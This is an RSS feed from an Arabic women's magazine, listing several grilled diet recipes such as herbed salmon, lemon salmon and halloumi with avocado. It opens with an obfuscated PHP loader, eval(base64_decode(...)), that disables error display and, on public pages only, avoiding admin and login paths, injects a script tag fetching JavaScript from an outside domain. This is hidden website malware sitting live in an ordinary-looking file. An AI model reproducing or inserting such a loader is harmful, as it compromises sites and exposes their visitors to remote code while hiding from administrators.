eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ==")); جوزال | مشوي https://jouzal.com مجلة نسائية عربية Fri, 01 Jan 2021 10:27:21 +0000 ar hourly 1 https://jouzal.com/wp-content/uploads/2021/10/جوزال-2.png جوزال | مشوي https://jouzal.com 32 32 سلمون مشوي مع الأعشاب للرجيم https://jouzal.com/%d8%b3%d9%84%d9%85%d9%88%d9%86-%d9%85%d8%b4%d9%88%d9%8a-%d9%85%d8%b9-%d8%a7%d9%84%d8%a3%d8%b9%d8%b4%d8%a7%d8%a8-%d9%84%d9%84%d8%b1%d8%ac%d9%8a%d9%85/ Fri, 01 Jan 2021 10:27:21 +0000 https://jouzal.com/%d8%b3%d9%84%d9%85%d9%88%d9%86-%d9%85%d8%b4%d9%88%d9%8a-%d9%85%d8%b9-%d8%a7%d9%84%d8%a3%d8%b9%d8%b4%d8%a7%d8%a8-%d9%84%d9%84%d8%b1%d8%ac%d9%8a%d9%85/ جوزال مجلة نسائية عربية تهتم بنشر اهم وابرز اخبار الفن والمشاهير وطرح احدث الوصفات المتعلقة بالجمال والموضة ، كما نهتم ايضاً بالصحة والرشاقة، وننوه ان جميع الاخبار والموضوعات المنشورة هنا ليست وجهة نظر المجلة ولكنها تحت مسؤولية المحرر

سلمون مشوي مع الأعشاب للرجيم


<!–

–>

مطبخ سيدتي

Fri, 01 Jan 2021 00:00:00 GMT
Fri, 01 Jan 2021 10:26:16 GMT

window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag(‘js’, new Date());

gtag(‘config’, ‘UA-8935925-4’);

سلمون مشوي مع الأعشاب للرجيم


سلمون مشوي مع الأعشاب للرجيم … وصفات الرجيم الخفيفة والمميزة نقدمها لكِ من مطبخ سيدتي، اختاري سمك السلمون لوجبة صحية ولذيذة وسهلة التحضير

تعلمي أيضاً:&nbsp; سلمون مشوي على الطريقة التايلندية للرجيم

المقادير

السلمون :
4 شرائح

الثوم :
فصّان
(مهروس)

ملح :
حسب الرغبة

فلفل أسود :
حسب الرغبة
(مطحون)

روزماري :
ملعقة كبيرة

عصير الليمون :
ربع كوب

ريحان :
ملعقة صغيرة

زيت الزيتون :
نصف كوب

طريقة التحضير

نقوم بخلط الثوم مع الملح والفلفل الأسود وعصير الليمون.
نضع شرائح السلمون في التتبيلة ثمّ نُقلب حتى تتبل بشكل كامل.
نصفّ شرائح السمك في صينية مدهونة بالقليل من زيت الزيتون وننثر الروزماري والريحان على سطحها.
نُدخل الصينية إلى فرن مسخن مسبقاً على درجة حرارة مرتفعة ويُترك السمك حتى يتحمر من كافة الجهات.

نسعد دائما بتفاعلكم معنا، يمكنكم ترك تعليق اسفل الموضوع، جميع التعليقات مفتوحة لزوار الموقع بشرط عدم التجاوز في حق احد او ازدراء الاديان.

]]> طريقة عمل سلطة دجاج مشوي مع الكوسا للرجيم – السلطات – وصفات دجاج https://jouzal.com/%d8%b7%d8%b1%d9%8a%d9%82%d8%a9-%d8%b9%d9%85%d9%84-%d8%b3%d9%84%d8%b7%d8%a9-%d8%af%d8%ac%d8%a7%d8%ac-%d9%85%d8%b4%d9%88%d9%8a-%d9%85%d8%b9-%d8%a7%d9%84%d9%83%d9%88%d8%b3%d8%a7-%d9%84%d9%84%d8%b1%d8%ac%/ Tue, 29 Dec 2020 22:39:51 +0000 جوزال مجلة نسائية عربية تهتم بنشر اهم وابرز اخبار الفن والمشاهير وطرح احدث الوصفات المتعلقة بالجمال والموضة ، كما نهتم ايضاً بالصحة والرشاقة، وننوه ان جميع الاخبار والموضوعات المنشورة هنا ليست وجهة نظر المجلة ولكنها تحت مسؤولية المحرر

عرض المزيد
عرض أقل

نسعد دائما بتفاعلكم معنا، يمكنكم ترك تعليق اسفل الموضوع، جميع التعليقات مفتوحة لزوار الموقع بشرط عدم التجاوز في حق احد او ازدراء الاديان.

]]> طريقة عمل دجاج مشوي بالأعشاب والليمون للرجيم – وصفات طبخ – وصفات دجاج https://jouzal.com/%d8%b7%d8%b1%d9%8a%d9%82%d8%a9-%d8%b9%d9%85%d9%84-%d8%af%d8%ac%d8%a7%d8%ac-%d9%85%d8%b4%d9%88%d9%8a-%d8%a8%d8%a7%d9%84%d8%a3%d8%b9%d8%b4%d8%a7%d8%a8-%d9%88%d8%a7%d9%84%d9%84%d9%8a%d9%85%d9%88%d9%86-%d/ Tue, 29 Dec 2020 22:19:34 +0000 جوزال مجلة نسائية عربية تهتم بنشر اهم وابرز اخبار الفن والمشاهير وطرح احدث الوصفات المتعلقة بالجمال والموضة ، كما نهتم ايضاً بالصحة والرشاقة، وننوه ان جميع الاخبار والموضوعات المنشورة هنا ليست وجهة نظر المجلة ولكنها تحت مسؤولية المحرر

عرض المزيد
عرض أقل

نسعد دائما بتفاعلكم معنا، يمكنكم ترك تعليق اسفل الموضوع، جميع التعليقات مفتوحة لزوار الموقع بشرط عدم التجاوز في حق احد او ازدراء الاديان.

]]> طريقة عمل كباب مشوي بالفرن دايت – وصفات طبخ – أكلات اللحوم https://jouzal.com/%d8%b7%d8%b1%d9%8a%d9%82%d8%a9-%d8%b9%d9%85%d9%84-%d9%83%d8%a8%d8%a7%d8%a8-%d9%85%d8%b4%d9%88%d9%8a-%d8%a8%d8%a7%d9%84%d9%81%d8%b1%d9%86-%d8%af%d8%a7%d9%8a%d8%aa-%d9%88%d8%b5%d9%81%d8%a7%d8%aa-%d8%b7%/ Tue, 29 Dec 2020 22:01:41 +0000 جوزال مجلة نسائية عربية تهتم بنشر اهم وابرز اخبار الفن والمشاهير وطرح احدث الوصفات المتعلقة بالجمال والموضة ، كما نهتم ايضاً بالصحة والرشاقة، وننوه ان جميع الاخبار والموضوعات المنشورة هنا ليست وجهة نظر المجلة ولكنها تحت مسؤولية المحرر

عرض المزيد
عرض أقل

نسعد دائما بتفاعلكم معنا، يمكنكم ترك تعليق اسفل الموضوع، جميع التعليقات مفتوحة لزوار الموقع بشرط عدم التجاوز في حق احد او ازدراء الاديان.

]]> سلمون مشوي بصوص الليمون للدايت https://jouzal.com/%d8%b3%d9%84%d9%85%d9%88%d9%86-%d9%85%d8%b4%d9%88%d9%8a-%d8%a8%d8%b5%d9%88%d8%b5-%d8%a7%d9%84%d9%84%d9%8a%d9%85%d9%88%d9%86-%d9%84%d9%84%d8%af%d8%a7%d9%8a%d8%aa/ Tue, 29 Dec 2020 21:14:29 +0000 https://jouzal.com/%d8%b3%d9%84%d9%85%d9%88%d9%86-%d9%85%d8%b4%d9%88%d9%8a-%d8%a8%d8%b5%d9%88%d8%b5-%d8%a7%d9%84%d9%84%d9%8a%d9%85%d9%88%d9%86-%d9%84%d9%84%d8%af%d8%a7%d9%8a%d8%aa/ جوزال مجلة نسائية عربية تهتم بنشر اهم وابرز اخبار الفن والمشاهير وطرح احدث الوصفات المتعلقة بالجمال والموضة ، كما نهتم ايضاً بالصحة والرشاقة، وننوه ان جميع الاخبار والموضوعات المنشورة هنا ليست وجهة نظر المجلة ولكنها تحت مسؤولية المحرر

سلمون مشوي بصوص الليمون للدايت


<!–

–>

مطبخ سيدتي

Sun, 13 Dec 2020 00:00:00 GMT
Sun, 13 Dec 2020 05:42:17 GMT

window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag(‘js’, new Date());

gtag(‘config’, ‘UA-8935925-4’);

سلمون مشوي بصوص الليمون للدايت


سلمون مشوي بصوص الليمون للدايت … تعلمي مع مطبخ سيدتي، طرق عمل أكلات الدايت الشهية والسهلة، جربي وصفات سمك السلمون المفيدة والخفيفة بطعم صوص الليمون الحامض المميز

تعلمي أيضاً:&nbsp; السلمون المشوي على الطريقة الآسيوية

المقادير

فيليه السلمون :
4 قطع

الليمون :
2 حبة
(مقطع شرائح)

عصير الليمون :
3 ملاعق كبيرة

ملح :
رشّة

فلفل أسود :
رشّة

زيت الزيتون :
2 ملعقة كبيرة

زعتر مجفف :
ملعقة صغيرة
(مطحون)

الفلفل الحار :
نصف حبة
(مفروم ناعم، أو حسب الرغبة)

الجرجير :
حسب الرغبة

خس :
حسب الرغبة

طريقة التحضير

في وعاء للتتبيل ضعي عصير الليمون مع زيت الزيتون والزعتر ثم أضيفي شرائح السلمون وقلبي في التتبيلة.
غطي السلمون واحفظيه بالبراد لمدة نصف ساعة.
رصي القطع المتبلة في ورق فويل ثم ضعيها في صينية فرن، ثم اخبزي لمدة 10 دقائق في فرن ساخن على 180 درجة مئوية.
أوقدي الشواية وانزعي الفويل واتركي الصينية دقيقتين حتى تتحمر.
رصي قطع السلمون على أوراق الخس وزيني بصوص السمك وحلقات الليمون وأوراق الجرجير.
قدمي السلمون بتتبيلة الليمون مع السلطة الخضراء والأرز.

نسعد دائما بتفاعلكم معنا، يمكنكم ترك تعليق اسفل الموضوع، جميع التعليقات مفتوحة لزوار الموقع بشرط عدم التجاوز في حق احد او ازدراء الاديان.

]]> حلوم مشوي مع الأفوكادو للرجيم https://jouzal.com/%d8%ad%d9%84%d9%88%d9%85-%d9%85%d8%b4%d9%88%d9%8a-%d9%85%d8%b9-%d8%a7%d9%84%d8%a3%d9%81%d9%88%d9%83%d8%a7%d8%af%d9%88-%d9%84%d9%84%d8%b1%d8%ac%d9%8a%d9%85/ Tue, 29 Dec 2020 20:39:58 +0000 https://jouzal.com/%d8%ad%d9%84%d9%88%d9%85-%d9%85%d8%b4%d9%88%d9%8a-%d9%85%d8%b9-%d8%a7%d9%84%d8%a3%d9%81%d9%88%d9%83%d8%a7%d8%af%d9%88-%d9%84%d9%84%d8%b1%d8%ac%d9%8a%d9%85/

حلوم مشوي مع الأفوكادو للرجيم


<!–

–>

مطبخ سيدتي

Tue, 29 Dec 2020 00:00:00 GMT
Tue, 29 Dec 2020 07:17:25 GMT

window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag(‘js’, new Date());

gtag(‘config’, ‘UA-8935925-4’);

حلوم مشوي مع الأفوكادو للرجيم


حلوم مشوي مع الأفوكادو للرجيم … حضري على سفرتك أطيب وأسهل وصفات الرجيم الخفيفة والشهية، جربي طبق جانبي من السلطات بجبن الحلوم المميز

تعلمي أيضاً:&nbsp; سلطة الباذنجان وجبنة الحلوم خطوة بخطوة بالصور

المقادير

جبنة الحلوم :
5 شرائح

زيت الزيتون :
ملعقة كبيرة

الجرجير :
نصف كوب
(مفروم خشن)

الأفوكادو :
1 حبة
(مقطعة نصفين)

ملح :
نصف ملعقة صغيرة

فلفل أسود :
ربع ملعقة صغيرة

عصير الليمون :
ملعقة كبيرة

المايونيز :
ملعقة كبيرة
(لايت)

طريقة التحضير

رتبي الجرجير في طبق وأضيفي الأفوكادو.
سخني الجريل أو الشواية وادهنيها بالزيت وحمصي الجبن ثم أضيفيه للطبق.
اخلطي عصير الليمون والمايونيز والملح والفلفل الأسود وأضيفي المزيج فوق السلطة.
يمكنكِ إضافة بيضة مسلوقة ورشة حبة البركة السوداء لمزيد من القيمة الغذائية.&nbsp;

نسعد دائما بتفاعلكم معنا، يمكنكم ترك تعليق اسفل الموضوع، جميع التعليقات مفتوحة لزوار الموقع بشرط عدم التجاوز في حق احد او ازدراء الاديان.
جوزال مجلة نسائية عربية تهتم بنشر اهم وابرز اخبار الفن والمشاهير وطرح احدث الوصفات المتعلقة بالجمال والموضة ، كما نهتم ايضاً بالصحة والرشاقة، وننوه ان جميع الاخبار والموضوعات المنشورة هنا ليست وجهة نظر المجلة ولكنها تحت مسؤولية المحرر

]]>